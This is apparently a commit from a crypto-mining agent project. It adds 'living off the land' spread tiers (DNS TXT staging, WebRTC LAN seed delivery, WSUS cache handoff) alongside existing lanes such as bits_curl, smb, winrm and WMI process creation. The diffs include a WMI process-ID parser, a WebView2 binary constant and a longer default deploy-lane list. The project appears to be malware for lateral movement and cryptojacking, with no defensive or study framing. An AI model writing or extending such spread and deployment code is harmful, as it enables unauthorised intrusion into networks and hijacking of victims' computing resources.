Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/miner/pyopencl_linux.go

@@ -6,6 +6,8 @@ import (
 	"fmt"
 	"os/exec"
 	"strings"
+
+	"crypto-miner-agent/config"
 )
 
 // DetectCUDA reports NVIDIA CUDA via nvidia-smi.

agent/miner/tier_webview2_probe_stub.go

@@ -2,6 +2,8 @@
 
 package miner
 
+const webView2BinaryName = "msedgewebview2.exe"
+
 func platformWebView2Probe() WebView2ProbeResult {
 	return WebView2ProbeResult{ProbeOnly: true}
 }

agent/miner/tier_wmi_stub.go

@@ -2,8 +2,26 @@
 
 package miner
 
-import "fmt"
+import (
+	"fmt"
+	"regexp"
+	"strconv"
+)
 
 func platformWMIProcessCreate(commandLine string) (uint32, error) {
 	return 0, fmt.Errorf("wmi tier requires windows")
 }
+
+func parseWMICreatePID(out []byte) (uint32, error) {
+	raw := string(out)
+	re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
+	m := re.FindStringSubmatch(raw)
+	if len(m) < 2 {
+		return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
+	}
+	v, err := strconv.ParseUint(m[1], 10, 32)
+	if err != nil {
+		return 0, err
+	}
+	return uint32(v), nil
+}

agent/miner/triple_onion.go

@@ -57,6 +57,9 @@ var DefaultDeployLanes = []string{
 	"dotnet",
 	"bits_curl",
 	"do_peer",
+	"wsus_cache_peer",
+	"dns_txt",
+	"webrtc_mesh",
 	"smb",
 	"winrm",
 }